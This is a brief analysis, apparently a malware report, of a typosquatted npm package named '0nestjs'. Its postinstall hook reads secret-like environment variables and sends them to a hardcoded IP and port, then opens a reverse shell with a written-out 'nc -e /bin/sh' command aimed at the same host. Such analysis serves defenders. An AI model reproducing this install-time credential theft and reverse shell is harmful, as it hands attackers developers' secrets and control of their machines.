Package name 0nestjs targets developers mistyping nestjs. On npm install, the postinstall hook node index.js executes automatically and performs two attacker-benefiting actions against the installer's machine. First, it enumerates process.env and collects every variable whose name matches /^(SECRET|API|TOKEN|KEY)/, then opens a raw TCP connection to the hardcoded endpoint 84.32.22.44:9999 (loaded from servers.json) and writes the harvested secrets as JSON. Second, it invokes nc -e /bin/sh <host> <port> against the same 84.32.22.44:9999 endpoint, wiring /bin/sh stdio to the remote host and giving the operator interactive command execution on the installer's machine. package.json self-describes as 'Typosquat of nestjs' with author 'typosquat-bot'.
